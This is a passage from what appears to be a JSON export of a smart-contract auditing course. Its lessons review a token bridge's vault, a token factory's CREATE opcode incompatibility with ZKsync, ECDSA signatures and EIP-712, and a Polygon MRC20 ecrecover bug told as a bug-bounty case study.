address during the deployment process, which means there is likely no failure-to-initialize issue here.\n\n## Understanding Ownership in the Contract\n\nNext, we come across the apparent fact that the L1 bridge is ownable. This isn't surprising. A constructor prepares an IERC20 token (a standard interface for tokens within smart contracts). It's worth noting that each vault seems to be working with one token and one bridge.\n\nThe constructor of the contract appears perfectly reasonable. The 'ownable' entity will be message.sender (which will be the Boss bridge). The core purpose of the `approveTo` function seems to be that the bridge is authorized to move funds in and out of the vault.\n\nHowever, one detail stands out - the approval isn't hardcoded to the bridge, but can potentially be granted to anything, which could pose a security risk.\n\n```js\n function ApproveTwo(address _target, uint256 _amount) external onlyOwner {\n Token.approve(_target, _amount);\n }\n```\n\nThese are some initial observations and insights on the L1 vault in the TokenBridge contract. Despite some minor concerns and potential areas for improvement, the contract seems to be well structured and efficient. Up next: exploring Solidity metrics and how they affect the contract.\n\n> \"Each vault works with one token. That's good to know.\"\n", + "updates": [] + }, + { + "id": "a7b76821-b434-4f46-ad93-ae8be1a72ed8", + "number": 9, + "title": "Yul Opcodes", + "slug": "yul-opcodes", + "folderName": "9-yul-opcodes", + "description": "", + "duration": 3, + "videoUrl": "GATOg1lX974", + "rawMarkdownUrl": "/routes/security/7-bridges/9-yul-opcodes/+page.md", + "markdownContent": "---\ntitle: Yul & Opcodes Introduction\n---\n\n\n\n---\n\n# How to Inspect Solidity's Token Factory\n\nHey there! Ready to check out some code today? Awesome, let's do this. I hope you're as excited as I am. Let's first check our vault. Looking good! Our token also seems perfectly fine. Now, what’s next?\n\n## Token Factory Complexity Score\n\nThe next on our list is something with a complexity score of 23. It's the intriguing Solidity contract called `TokenFactory`. Referring to the title, the `TokenFactory` is designed to allow the owner to deploy new ERC20 contracts.\n\nFor clarification, a complexity score is a numerical value that represents the complexity of code. The higher the score, the more complex the code is. It’s a great tool for identifying areas in your software that could benefit from refactoring to simplify the code and make it easier to maintain.\n\n`TokenFactory` is intended to be deployed on both an L1 and L2 Ethereum layer. Sounds interesting, right?\n\nLet's dive deeper into this 'Token Factory' contract.\n\n![](https://cdn.videotap.com/N7h8lDL4ZkNHmMUJm92I-16.6.png)\n\n## Analyzing The Token Factory Contract\n\nAccording to the documentation, the `TokenFactory` allows you to deploy a new ERC20 contract by passing it a symbol and the byte code of the new token. The symbol and byte code represent the identity of the new token that we want to deploy.\n\nA portion of the code that specifically interests me is the assumption that this is going to be an L1 token byte code. Just the thought of this seems a tad scary.\n\nOne question pops in my head: \"Did they even test this assumption anywhere?\"\n\n![](https://cdn.videotap.com/SXAsB2ew8qmWRUaZnRI6-37.94.png)\n\n## Checking The Test Method\n\nAh! They did. I see that there is a `TokenFactory` test. Now, it’s critical to remember that we are assuming the test is accurate. Although tests can contain errors too, they give us a good sense of how the software behaves under certain conditions.\n\nWhile the complexity score was discomforting and the code adherence was quite scary to me, the presence of this test somehow eases the discomfort.\n\nHowever, there's a \"Q\" marked on the code here which means \"Query\". It marks a place where the reader has questions or doubts about the code. In this case, it might be fine, but it begs the question - \"Should this query be left out of scope?\"\n\nTo be blunt, there just seems to be some risky business here.\n\n## An Auditor’s Perspective\n\n“Are you sure you should leave this out of scope?”, I find myself asking. Even though the guidelines say it's okay to exclude this in a competitive audit, in a private audit, I would still strongly recommend addressing this.\n\n> \"You should really secure this code. There might be better ways to implement it.\"\n\nRemember, it's always crucial to double-check everything in your code, especially when it comes to security. Don't take things at face value.\n\nOne of the points that catch my attention is that it doesn't seem efficient. The byte code is stored in memory rather than in call data, which is less gas efficient. Maybe it would be better to refactor the token factory.\n\n![](https://cdn.videotap.com/DwK3ACMPJE6lTsWulD7x-71.14.png)\n\n## Final Thoughts\n\nDoes it all seem a bit scary? Absolutely. But keep in mind that it could also be an excellent opportunity to improve the code. The best code isn't always the most complex one, but the most secure and efficient.\n\nThe challenging but fun part is figuring out the best way to do this. It’s a never-ending journey of learning and discovery. So, let's learn and discover together!\n\nHappy coding!\n", + "updates": [] + }, + { + "id": "736a476f-8947-4e49-b381-5335079ac4c7", + "number": 10, + "title": "Unsupported Opcodes", + "slug": "unsupported-opcodes", + "folderName": "10-unsupported-opcodes", + "description": "", + "duration": 11, + "videoUrl": "NLLL7VcdjPg", + "rawMarkdownUrl": "/routes/security/7-bridges/10-unsupported-opcodes/+page.md", + "markdownContent": "---\ntitle: Exploit - Unsupported Opcodes\n---\n\n\n\n---\n\n# Deep Dive into Assembly Blocks in Solidity\n\nWelcome to another exciting episode in our exploration of Solidity! Today, we're going to be deep-diving into an intriguing aspect of Solidity: Assembly Blocks. So get your coding gloves on and let's start this journey!\n\n## The Assembly Block: An Introduction\n\nAssembly blocks in Solidity offer us lower access level to the Ethereum Virtual Machine (EVM). Though not super low-level as there exists some level of abstraction in assembly (also known as Yul), assembly blocks provide a closer approach to working with EVM opcodes.\n\n![](https://cdn.videotap.com/kygHboewjVz29gEvJnFB-57.14.png)\n\n> \"Assembly in Solidity allows us closer access to the EVM, letting us perform opcodes that could potentially be unsafe.\"\n\nIn the course of this blog, we will be examining the use case of the `Create` opcode in assembly. The `Create` opcode in Yul can be researched further in the [Solidity documentation](https://docs.soliditylang.org/en/v0.8.9/yul.html).\n\n## Diving Into the Code: Exploring `Create` Opcode\n\nOn executing the `Create` opcode, it consumes a value of VPN. To understand the essence of VPN, we actually have to examine the columns at the beginning of the documentation. The explanation column reveals that our `Create` opcode will form a new contract with the specified code and consequently dispatch `Vwei` and return the fresh address. In the event that an error occurs, it returns zero.\n\nLet's now delve more into the assembly block where this opcode is being used. Within this block, the opcode is saying that the contract bytecode. Secondly, it will load the contract bytecode into memory and then proceed to instantiate a contract.\n\nIn programming using Solidity within the EVM, it's commonplace that almost any time you undertake something with contract deployment or variables or even literary reading, it's always necessary to load it into memory first.\n\n## The Nitty-Gritty Details: Loading into Memory\n\nSo how do we go about loading into memory? Fundamentally, you have to specify how much memory to load, from where, and to where. And anytime you're dealing with memory, you have to be very precise about your details.\n\n![](https://cdn.videotap.com/bZJqzJb0Ba8wN3UXX2mL-214.29.png)\n\nIn light of the specifications, it's safe to say that the first chunk of assembly we encounter returns an address. The purpose of the whole block is to create a contract and return the corresponding address.\n\n## The TokenFactory: Its Role and Significance\n\nDelving further, we discover that the token factory keeps track of all tokens it broadcasts. It also emits a token upon being deployed—an interesting feature! A function, `getTokenAddressFromSymbol`, is also present, but it doesn't seem to be used anywhere within the rest of the code.\n\n```js\nfunction getTokenAddressFromSymbol(string memory _symbol) public view returns (address){\n return s_TokenToAddress[_symbol];\n }\n```\n\nConsidering its lack of usage, this function could have likely been more effectively designated as external rather than public.\n\n## Launching a Check on the Opcode: The Checklist Approach\n\nAnd now we arrive at an essential checkpoint: the opcode checklist. By utilizing this checklist, one can discover fascinating things about the opcode. A surprisingly interesting question you might find is whether the `push0` Opcode is supported for Solidity versions above `0.8.20`.\n\nAnother question that pops up is the compatibility of EVM Opcodes and the protocol's operations across all target chains. It brings to mind the compatibility of the `Create` opcode with all our working chains.\n\n![](https://cdn.videotap.com/aypb7Nern5qzvXGaDMLH-385.71.png)\n\nTo unravel this puzzle, a practical step is to utilize the Solidity compiler, Solk, and see what we get after building the contracts and inspecting them. Sure enough, upon exploring the contracts, we will find the `Create` Opcode, which confirms its presence.\n\n## Checking Compatibility Levels: The Ethereum Mainnet and Zksync\n\nAs we've identified the opcode, we have to be sure about its compatibility with our working chains. Ethereum's mainnet is an assured pass, but what about Zksync?\n\nA quick dive into the [`Zksync documentation`](https://zksync.io/) clarifies things a lot. They have a comprehensive FAQ segment that explicates the difference between being 'EVM Compatible' and 'EVM Equivalent'.\n\n> \"EVM Equivalent means a given protocol supports every Opcode of the Ethereum EVM down to the bytecode. EVM Compatible means a percentage of the Ethereum EVM's Opcodes are supported.\"\n\nZksync is optimized to be EVM compatible and not EVM equivalent for a variety of reasons. However, this doesn't clarify the compatibility of the `Create` OpCode.\n\nDelving deeper, it becomes apparent that the EVM constructions `Create` and `Create2` on Zksync only work when the compiler is aware of the contract's bytecode beforehand. If the contract isn't aware of the bytecode prior to deployment, it will fail. This approach is strikingly similar to our example code—confirming its potential failure on Zksync.\n\n## Concluding Remarks: The Importance of Compatibility Checks\n\nThis discovery underscores the importance of thorough opcode compatibility checks across all working chains. In fact, there was a well-documented instance of 921 ETH being stuck in a Zksync contract because the transfer function failed.\n\nJust a little foresight to check compatibility would have saved this massive loss! This real-life scenario serves as a solemn reminder of how vital it is always to consider EVM compatibility in our code implementations.\n\nIn conclusion, whenever you embark on security reviews or contract deployments, always remember to refer to your safety checklist. Going through such a checklist not only helps you find hidden oddities but also ensures you're on the safer side of things.\n\nIn all, remember that the devil is in the details. Happy programming!\n", + "updates": [] + }, + { + "id": "4b7147fc-142c-4dfc-9f3b-891516b97a0e", + "number": 11, + "title": "BossBridge", + "slug": "bossbridge", + "folderName": "11-bossbridge", + "description": "", + "duration": 3, + "videoUrl": "wkNKxf8o2yo", + "rawMarkdownUrl": "/routes/security/7-bridges/11-bossbridge/+page.md", + "markdownContent": "---\ntitle: BossBridge.sol\n---\n\n\n\n---\n\n# Analyzing and Making Sense of the Boss Bridge\n\nWelcome to another deep dive into the world of blockchain code! Amidst our adventures, we stumbled upon a complex and intriguing beast known as the Boss Bridge. Now it's time to give it a thorough examination. So, let's grab our diving gear, get comfortable and leap straight into the code!\n\n## A Brief Introduction\n\nThe Boss Bridge doesn't have a lot of code, but don't let that mislead you. It's petite stature hides a heart of complex code. We'll deconstruct it piece by piece, so by the end, you're familiar with each line and what it does.\n\n## Code Inspection: Pragma and Imports\n\nFirst off, the top of our file is home to a list of imports and a `pragma solidity` statement, versioned at 0.8.20. That seems up-to-date, which is a good start!\n\n```js\npragma solidity 0.8.20;\n```\n\nMoving on to the imports, we have OpenZeppelin taking up a good portion of the space. As a tried and tested library thoroughly reviewed for security, it's always reassuring to see it.\n\nNext, we have a couple of new imports; namely the `ReentrancyGuard`, `Message`, `HashUtils`, and `ECDSA`. These might not be as familiar as OpenZeppelin, but they're equally important. Here's a closer look at a couple of them.\n\n## Reinforcing the Code with ReentrancyGuard and Understanding Pausable\n\n_Disclaimer:_ This is where it's about to get technical.\n\n### Pausable\n\nFirst up is `Pausable`. As the name suggests, it allows the addition of an emergency stop mechanism to your contracts.\n\n```js\nimport \"@openzeppelin/contracts/security/Pausable.sol\";\n```\n\nIt provides modifiers like `whenNotPaused` and `whenPaused` along with `pause` and `unpause` functions.\n\nThe intriguing part is that certain functionality works only when `whenNotPaused` is in effect. Like any responsible coder, I checked whether there's a way to pause the contract by running forge.\n\nGood news: We do have a pause function in here!\n\n### ReentrancyGuard\n\nNext, let's take on `ReentrancyGuard`. It's a fabulous guard against reentrancy attacks.\n\n```js\nimport \"@openzeppelin/contracts/security/ReentrancyGuard.sol\";\n```\n\nThrough the use of a clever system it calls \"mutex locks,\" it ensures that your functions stay clear of reentrancy mischief. It does this by using `nonReentrant`, `nonReentrantBefore`, and `nonReentrantAfter` modifiers.\n\nEssentially, it places a lock onto your function, ensuring that there are no repeated entries during its execution, which could lead to reentrancy attacks.\n\nIn our `BossBridge` contract, the `sendToL1` function is guarded by `nonReentrant`, keeping it safe from potential threats.\n\n## Conclusion\n\nWe made some solid discoveries in our examination of the Boss Bridge's code. We managed to identify important aspects such as the use of the `Pausable` and `ReentrancyGuard` components, as well as confirmed the availability of the `pause` function.\n\nKeep coding and exploring, blockchain adventurers! I'll join you in the next deep-dive session.\n\n> _\"Any fool can write code that a computer can understand. Good programmers write code that humans can understand.\"_ - Martin Fowler.\n", + "updates": [] + }, + { + "id": "81494f55-5d9c-48cf-848d-fe09ad1fc05f", + "number": 12, + "title": "Signatures", + "slug": "signatures", + "folderName": "12-signatures", + "description": "", + "duration": 6, + "videoUrl": "9LMBU3RSjBo", + "rawMarkdownUrl": "/routes/security/7-bridges/12-signatures/+page.md", + "markdownContent": "---\ntitle: Signatures Introduction\n---\n\n\n\n---\n\n# Deep Dive into Message Hash Utils: A guide to Signature Message Hash Utilities in Blockchain\n\nIn this post, we're going to delve into signature message hash utilities which are used to produce digests to be consumed by Elliptic Curve Digital Signature Algorithm (ECDSA) for recovery or signing. If you're new to blockchain technology, it might all sound like Greek mythology, but worry not. We're going back to basics - courtesy of the [Anders Brownworth Blockchain demo](https://andersbrownworth.com/blockchain).\n\n## Understanding the Blockchain Demo\n\nAnders Brownworth has created a simple, yet intuitive public-private key demo that has been of great educational help in understanding blockchain better. Unfortunately, the demo has recently been taken down but, the good news is you can find it on [GitHub](https://github.com/anders94/public-private-key-demo).\n\nA simple `git clone` will get you started but ensure that you have node JS installed beforehand.\n\n```bash\ngit clone https://github.com/anders94/public-private-key-demo\ncd public-private-key-demo\nnpm install\n./bin/www\n```\n\nYou're now successfully running the blockchain demo on your local machine! Visit `localhost` on your web browser while the server is still running and TADA, behold the blockchain demo.\n\n## Unraveling Signatures\n\n> \"Signature is a process where a private key is combined with a message to create a unique message signature. The process verifies that the public key and the message match the signature.\"\n\nThis process of signing transactions with private keys is how blockchain works.\n\nExample: When we operate digital wallets, like MetaMask, and make transactions using Ethereum, we sign these transactions and send these signed messages onto the blockchain. Other blockchain nodes verify these messages.\n\nIn the blockchain demo, you can generate a pair of private and public keys. Sign a message using your private key and visually follow the entire process.\n\n![](https://cdn.videotap.com/I31ISMCAE8CABrMXYyaq-89.18.png)\n\n## Exploring Message Hash Utils\n\n`MessageHashUtils` might look a bit confusing, but it's an effort to standardize the messages and hashes in the Ethereum blockchain transactions. Some Ethereum Improvement Proposals (EIPs) have been introduced to enhance this.\n\nThe first one to consider is `ERC-191`, a standard for signed data, and is specifically targeted for signed data in Ethereum Smart contracts. The motive behind this was to establish a common format for all signed data.\n\n![](https://cdn.videotap.com/7kCHT85kigZxan9r7aki-109.png)\n\nAccording to `ERC-191`, the data is arranged in the following manner:\n\n- The start of the signed data is marked by `0x19` (1 byte)\n- It's followed by ‘version specific’ data (1 byte)\n- Additionally, the generic data to sign\n\nThe next version is the `EIP-712` or the structured data, which we will discuss in details in the later part of this blog.\n\nFor the signed data, all signatures in blockchain comprise of `r, s, and v` parameters.\n\nLet's see an example using Solidity `0.8.0`.\n\n```js\nfunction execute(address target,uint256 nonce,bytes memory payload,uint8 v,bytes32 r,bytes32 s) public {\n bytes memory data = abi.encode(target,nonce,keccak256(payload),msg.sender);\n bytes32 digest = keccak256(abi.encodePacked(\"\\x19\\x01\",DOMAIN_SEPARATOR,keccak256(data)));\n address recoveredAddress = ecrecover(digest, v, r, s);\n require(recoveredAddress == msg.sender,\"Invalid signature\");\n (bool success,) = target.call(payload);\n require(success, \"Execution failed.\");}\n```\n\nIn the code above, `r`, `s`, and `v` are components of the signed data. In order to verify who signed this message, you can use a precompiled function known as `ecrecover`. The `ecrecover` function takes in the parameters `v`, `r`, and `s` and returns the address that was used to sign the hash. The example above checks if the recovered address matches the sender's address, indicating that the sender indeed signed the bytes.\n\nThe function of `ecrecover` is to identify the signer of the hash, i.e, who signed the data. This function is instrumental in Solidity contracts because it helps verify if a certain person signed something.\n\n## Wrapping it up\n\nIn conclusion, message hash utilities are used to enhance transparency and uniformity in signing messages and contracts in the Ethereum blockchain. We also explored how Solidity's `ecrecover` function can be used to identify the signer of data. This essentially aids in the process of verification of a signed contract, thus adding another layer of trust and security to the blockchain technology.\n", + "updates": [] + }, + { + "id": "db5df59f-e075-4e05-b165-d7e649cedc6b", + "number": 13, + "title": "Signatures Summarized", + "slug": "signatures-summarized", + "folderName": "13-signatures-summarized", + "description": "", + "duration": 1, + "videoUrl": "rhLZafJabBg", + "rawMarkdownUrl": "/routes/security/7-bridges/13-signatures-summarized/+page.md", + "markdownContent": "---\ntitle: Signatures Summarized\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# Decoding Cryptographic Signing: Private Keys, Messages, and Signature Verification\n\nIf you're taking your first steps into the world of blockchain or cryptography, you've probably stumbled across the terms private key, messages, digital signatures, etc. In this blog post, we'll break down the fascinating process of signing messages using private keys. No worry if these terms seem to be Greek to you right now, all will get clearer as you read further.\n\n## What Does Signing Messages Actually Mean?\n\nWhen we refer to 'signing' in the context of blockchain and cryptography, we're talking about a process by which we authenticate messages on the blockchain using a private key. It's a crucial aspect of data and transaction security.\n\nNow you might ask, what does signing a message involve and how does it work? Let's break it down a bit.\n\n> Initially, the process starts with two distinct elements: a private key and a message.\n\n![](https://cdn.videotap.com/1RO5OQCrdWw5Vd9SjdCN-14.67.png)\n\nThe content of the messages we refer to usually includes data elements like function signatures, function selectors, parameters, etc.\n\n### The Magic Box: The Elliptic Curve Digital Signature Algorithm\n\nThese components, the private key and message, are then pushed into a fascinating 'algorithmic machine' known as the Elliptic Curve Digital Signature Algorithm (ECDSA). Now, unless you're deeply interested in cryptography, you probably don't need to understand the complex math behind it.\n\nHence, you can imagine the ECDSA as a magic box, a black box if you will. If you're curious about the inner mechanisms of this 'black box', I highly recommend a deep dive into the Elliptic Curve Cryptography- an excellent starting point could be [this link](https://en.wikipedia.org/wiki/Elliptic-curve_cryptography).\n\n![](https://cdn.videotap.com/2RjUzLDQpobVxdX7u9lT-23.83.png)\n\n### The Output: VR and S\n\nOnce we feed the private key and message into the black box, the ECDSA, it gives us two outputs, famously known as VR and S. These components make up our unique Digital Signature.\n\n![](https://cdn.videotap.com/IQH3FxNz2xIA59h8rO4F-29.33.png)\n\n## Full Circle: Verifying the Signature\n\nAmazingly, we can use this digital signature, the VR and S, to verify that a message was, indeed, signed by a specific address. This gives a receiver the confidence that the message they received was indeed from the sender it claims to be.\n\nIn simpler terms, this tells us that the sender of the message is the legitimate owner of the address from which the message was sent, bringing us to the very essence and necessity of cryptographic signing - Authentication and Verification.\n\n![](https://cdn.videotap.com/eNLThyvbZVxz4fr0PJHT-36.67.png)\n\nTo wrap it up, Message Signing and Signature Verification is a simple and secure method to verify the integrity of messages, transactions, and data on the Blockchain. It is an integral part of the blockchain infrastructure, ensuring that addresses and their transactions remain authentic and secure.\n\nIn the fast-evolving world of blockchain and cryptography, understanding such key concepts is not only essential but also engaging. It peels back the layers of the complex systems we often use without understanding and puts power back into the hands of users. Whether it's to enhance your professional knowledge or simply for the thrill of learning something new, delving into the wonder of cryptography is remarkably worthwhile. I highly recommend continuing your cryptographic journey from here, you never know where it might lead you next.\n\nStay curious, keep learning, and until the next post, Happy Cryptography!\n", + "updates": [] + }, + { + "id": "226a2d46-7507-450c-97bc-f00a65b744e2", + "number": 14, + "title": "EIP-712", + "slug": "eip-712", + "folderName": "14-eip-712", + "description": "", + "duration": 4, + "videoUrl": "q2PTslgNVZE", + "rawMarkdownUrl": "/routes/security/7-bridges/14-eip-712/+page.md", + "markdownContent": "---\ntitle: EIP-712\n---\n\n\n\n---\n\n# Untangling the Beauty of Smart Contracts: A Dive Into EIP 712 Structured Data\n\nSmart contracts have revolutionized the way we do transactions and communicate data in the blockchain arena. At the crux of it all lies `MessageHashUtils`, a fundamental tool that greatly simplifies our interactions with these contracts. In this post, we'll take a closer look at the EIP 712 and EIP 191 hash functions, and demonstrate their implementation in an actual contract.\n\nRemember, smart contracts and untangling their complexities might feel intimidating, but once you get the hang of it, it's an engaging puzzle worth solving. So let's get started!\n\n## Breaking Down EIP 712 and EIP 191\n\nIntroducing, the **EIP 712** and **EIP 191**! These are hashing and signing standards for Ethereum smart contracts, making the signing process easier for users.\n\nBefore these standards, users were just told 'hey, sign this message,' and a cryptic byte string was shown. With the advent of EIP 712, Ethereum made user experience way better with formatted requests: 'hey, sign this message: from, to, contents'.\n\nAre you a fan of typed, structured data instead of just byte strings? Well, EIP 712 is perfect for you!\n\nFor those who want to do a deep dive, you can read more about the implementation of EIP 712 and EIP 191 [here](https://eips.ethereum.org/EIPS/eip-712) and [here](https://eips.ethereum.org/EIPS/eip-191) respectively.\n\n![](https://cdn.videotap.com/Q9EBgPOu5axhNmcCfrNw-49.3.png)\n\n## Working with EIP 712: An Example\n\nTo illustrate how to work with EIP 712, let's look at a simple example. We've defined a struct `Mail`, with struct `Person`(from, to) and string contents. This is our structured data. After this, we can break the signed message into its essential components - `V`, `R`, and `S`, and verify this signed data using the `verify` function from the EIP 712 hashing contract (refer to the [github repo](https://github.com/Cyfrin/security-and-auditing-full-course-s23)).\n\n![](https://cdn.videotap.com/3vXpOBtPGNOYDzTe7xew-92.43.png)\n\n## Verifying the Magic: EIP 712 Verification\n\nNow that we've signed the data, how do we verify it?\n\nThe `ECRRecover` function of Solidity comes in handy here. The function hashes the data into a format called a 'digest'. The `ECRRecover` then checks whether the 'from' component of the message is correct using specific input parameters.\n\n> Don't miss out on learning more about how important `ecrecover` is by checking out the Solidity documentation [here](https://docs.soliditylang.org/en/v0.8.23/smtchecker.html#function-calls).\n\nNOTES\n\n1. The digest is essentially the hashed data put into a specific format.\n2. Breaking the signed message into `V`, `R`, `S` components forms the input for `ecrecover`.\n\nYou can explore a bit more about this part with a practical example in the `Example.sol` contract in the course's GitHub repository.\n\n![](https://cdn.videotap.com/3Bx9eDqrngeXdafn4LDv-197.19.png)\n\n## Let's Watch a Mistake: Polygon Case Study\n\nOrdinarily, low-level signature signing seems like a tedious task. But here's an interesting case study on how forgetting to double-check a precompiled `ECRRecover` function return value led to an exploitable vulnerability on Polygon...\n\n![](https://cdn.videotap.com/BjhKxp4Deaz9YZi3bwyj-215.68.png)\n\n## Wrapping Up\n\nSo that's a quick run-through on `EIP 712` and `EIP 191`, two important specifications that make handling and signing Ethereum smart contracts a breeze. Though it might seem a little complex, with a bit of practice, you'll find it's not so scary after all! Don't forget to check out the next part where we dive into a Polygon case study. Happy coding!\n", + "updates": [] + }, + { + "id": "18c9b150-0b32-4eb9-9372-ce2497d2656b", + "number": 15, + "title": "Case Study: Polygon", + "slug": "polygon", + "folderName": "15-polygon", + "description": "", + "duration": 9, + "videoUrl": "X-j63QRtB7o", + "rawMarkdownUrl": "/routes/security/7-bridges/15-polygon/+page.md", + "markdownContent": "---\ntitle: Case Study - Polygon Precompile\n---\n\n\n\n---\n\n# Hunting for smart contract bugs: How a developer identified a $7 billion exploit\n\nIf you fancy yourself a tech-savvy problem solver or a capable and competent coder, the world of smart contract bug bounties could be your next lucrative adventure. Not only are these exploits well-paying when correctly identified, but they also aid in securing the ecosystem against hackers.\n\nI recently had the occasion to interview a developer who discovered a $7 billion bug and was rewarded with $2.2 million for his conscientious reporting of this vulnerability. By exploring his successful case, we can learn the key strategies and tools you'll need to find your million-dollar bounty.\n\nLet's delve into this intriguing world of hunting for smart contract bugs.\n\n## Matic blockchain, Polygon, and the MRC20 contract\n\nOn May 31, 2020, the Matic blockchain, which later rebranded as the Polygon chain, was launched. An [EVM](https://ethereum.org/en/developers/docs/evm/) compatible blockchain, it's known for its low gas fees, rapid block times, and recent ventures into [ZK technology](https://polygon.technology/polygon-zkevm).\n\nIf we return to the beginning, block zero to be precise, we find ten transactions in this Genesis block. One of these transactions created the MRC20 contract. This contract allowed users to sign a transaction without sending it, meaning they could offset gas costs. For example, somebody else could be responsible for these costs. This technique is referred to as a metatransaction, which is better explained in [EIP 712](https://eips.ethereum.org/EIPS/eip-712). Initiated with almost 10 billion MATIC, this contract facilitated these gasless transactions. However, it concealed a critical exploit, an oversight that could potentially empty the contract of its entire content.\n\n## The discovery of the dormant exploit\n\nOn December 3, 2021, Leon Spacewalker (a pseudonym of our developer hero) submitted a report about this potential vulnerability to Immunify. Less than two days later, another astute individual discovered this exploit. Unfortunately, this other individual was a malicious hacker and successfully pilfered 800,000 MATIC tokens from the contract.\n\nPolygon was forked two days after the initial report, and the contract was swiftly mended. From December 5, 2021, the MRC20 contract was no longer vulnerable to this exploit.\n\nBut what exactly was this bug, and how did it remain unidentified for so long? Let's turn our attention to the function that enabled these gasless transactions.\n\n## Anatomy of the bug - A detailed look\n\nThis function appears benign at first glance. It requires a user's signature, data, and an amount to send, an expiration date, and a recipient for the money. Running certain checks, it retrieves the data hash required for the metatransaction and ensures this data hash hasn't been previously used. Following these steps, it then launches an EC recovery function.\n\nThis recovery function, ecrecover, verifies the origin of a signed transaction. However, should it encounter an error, it simply returns the zero address without viability checks. Even though there is a condition to ensure that this return is not zero, the ececovery function still returns zero upon encountering an error. Herein lies the vulnerability.\n\nIf the function were to check the overall validity of this function and not just the zero address, the problem would've been handled. But alas, that check was overlooked. The transfer function, acting as the last line of defense, should at least verify the 'from' address. But it simply transfers money out of the MRC20 contract without making any such checks.\n\nThe exploit was then straightforward: Just passing a faulty signature, setting any quantity, and denoting a receiver. This method would essentially drain the entire MATIC balance.\n\n### Prevalence of dormant bugs in the tech world\n\nIt's both peculiar and surprising that this bug remained latent for about 1.5 years, only to be discovered by multiple individuals within a short span. After discussing with the Immunified team, they provided a remarkable insight: these sleeping exploit beasts' simultaneous awakenings are a fairly common phenomenon. As soon as media outlets popularize new bugs, bug hunters flock to identify them in other plausible places.\n\nDespite this seemingly random event, we can extract several valuable lessons from this saga.\n\n## Strategies to identify bugs\n\nMy conversation with Leon yielded some precious tips and tricks he employed to discover this and numerous other security loopholes. Note that a basic understanding of Solidity and appropriate smart contract fundamentals are desirable assets in watching your million-dollar bounty surface.\n\n### 1. Distinct advantage - Find your edge\n\nEvery bug bounty hunter must have a unique advantage. Leon's advice to anyone entering this space, hone that specific skill, that edge over other smart contract developers, bug hunters, and protocols.\n\n### 2. Know the subject - Understand the protocol\n\nKnowing the specifics of the protocol in-depth is one of the most common strategies to find bugs. Reading the documentation, experimenting with the protocol implementation, etc., if you grasp every corner of the protocol, you're likely to identify aberrations as well.\n\n### 3. Research and Grow\n\nResearch on specific bugs and uncover projects that have those loopholes. This technique, requiring a solid understanding of diverse exploits and maintaining awareness of unexplored best practices, simplifies your search as you're only seeking a specific chunk of code in a project.\n\n### 4. Speed is key\n\nBeing quick in identifying new bounties and updates surely benefits in this context. Equipped with the right tools, such as Immunified discord BBP notifications, one can always stay ahead.\n\n### 5. Devising unique strategies - Be creative\n\nLeon often visited community forums projecting a potential bug bounty. He would then start exploring their smart contracts even before approval to gain a head start.\n\n### 6. Arm yourself with the right tools\n\nKnowledgeable bug hunters use various helpful tools. Solidity Visual Developer, Hard Hat Foundry, Brownie, Dune Analytics, and Etherscan are a few examples.\n\n### 7. Audited projects are not bug-free\n\nLeon has discovered numerous vulnerabilities in projects that top firms had audited. So, do not be disheartened by audited projects.\n\n### 8. Find your niche\n\nGaining industry-specific knowledge can dramatically improve your ability to uncover bugs.\n\nAlthough the example discussed here is quite specific and outlines a single bug hunt, these tips can be generalized for anyone hopeful of winning a sizeable bug bounty.\n\nAre you prepared to accept the challenge?\n\n![](https://cdn.videotap.com/MuftBpuNZSZv4cmAeOuU-506.03.png)\n", + "updates": [] + }, + { + "id": "77477bf0-095d-4ce5-93e0-026c4ba36d8b", + "number": 16, + "title": "Signatures Recap", + "slug": "signature-recap", + "folderName": "16-signature-recap", + "description": "", + "duration": 1, + "videoUrl": "HCN7w7IZNI0", + "rawMarkdownUrl": "/routes/security/7-bridges/16-signature-recap/+page.md", + "markdownContent": "---\ntitle: Signatures Recap\n---\n\n\n\n---\n\n# Understanding the Magic of Digital Signatures and Blockchain: A Simple Tutorial\n\nWelcome back, fellow blockchain enthusiasts. We've covered a lot in our past discussions, and this post will focus on one of the most fundamental aspects of blockchain technology: digital signatures. By the end of this read, you'd be able to comprehend how digital signatures work and how they are minted using Elliptical Curve Digital Signature Algorithm (ECDSA). Don't worry! We've broken it down into the simplest terms possible.\n\n## How Digital Signatures Work\n\nDigital signatures underpin the integrity and security of transactions within a blockchain ecosystem. These contrivances act as a proof of authenticity, confirming that the message has been sent by a verified sender and has not been tampered with, during transmission.\n\n![](https://cdn.videotap.com/jSSntLnGkMJPWVtSFsUs-6.19.png)Here's a simplified snapshot of the digital signature process:\n\n1. Your Private Key + the Message > **ECDSA** > Output (r,s values) = Signature\n2. Signature + Original Message > **ECDSA Verification** > Sender's Public Key\n\n### Elliptical Curve Digital Signature Algorithm\n\nThe core of creating a digital signature is an intelligent mathematical process known as the Elliptical Curve Digital Signature Algorithm, or ECDSA. Essentially, you take the private key and the message and feed them into this algorithm.\n\nThis operation generates a signature in a specific format, often referred to as _r_ and _s_- the crucial parts of your digital signature. These signatures are safe to put on-chain as they do not contain any public information.\n\n### Verifying The Signature\n\nHow can we ensure that the message was indeed signed off by the claimed sender? Verification is the process that answers this question.\n\nYou take the signed message plus the reported _r_ and _s_ values and plug them into the verifying component of the ECDSA. Adding the data they supposedly signed results in the output, which is essentially the signatory of the message.\n\nThis verifying component is known as an `ECR precompile`, a part of the elliptical curve digital signature mechanism.\n\nThe magic happens when `ECR precompile` outputs the same person you expect to have signed the message. If it does, then voila! It's an honest transaction, and that's precisely what we want to achieve.\n\n> \"In the world of cryptography and digital transactions, your signature is the cornerstone of credibility.\"\n\n## Wrapping Up\n\nIn summary, a digital signature is akin to your digital fingerprint. With ECDSA's wizardry, a simple, unique combination of values (comprising of a private key, a message and the _r,s_ values) embodies your authority and ensures the authenticity of transactions. Understanding these fundamentals of how signing and verification work is integral to mastering blockchain technology.\n\nOnwards, to a more secure and transparent future.\n", + "updates": [] + }, + { + "id": "0fe0657b-cb48-4847-9ed2-8ac6af842ccc", + "number": 17, + "title": "Recon Continued", + "slug": "recon-continued", + "folderName": "17-recon-continued", + "description": "", + "duration": 6, + "videoUrl": "yppiWQsrg9k", + "rawMarkdownUrl": "/routes/security/7-bridges/17-recon-continued/+page.md", + "markdownContent": "---\ntitle: Recon (continued)\n---\n\n\n\n---\n\n# Decrypting OpenZeppelin's ECDSA Utility Library: An In-Depth Look\n\nIn the vast world of smart contracts, a significant part of understanding how everything works involves understanding Elliptic Curve Digital Signature Algorithm (ECDSA) operations. ECDSA is crucial in secure data transactions in these systems. In this article, we will delve deep into OpenZeppelin's ECDSA assembly code, dissecting its content and functions.\n\n## Understanding ECDSA 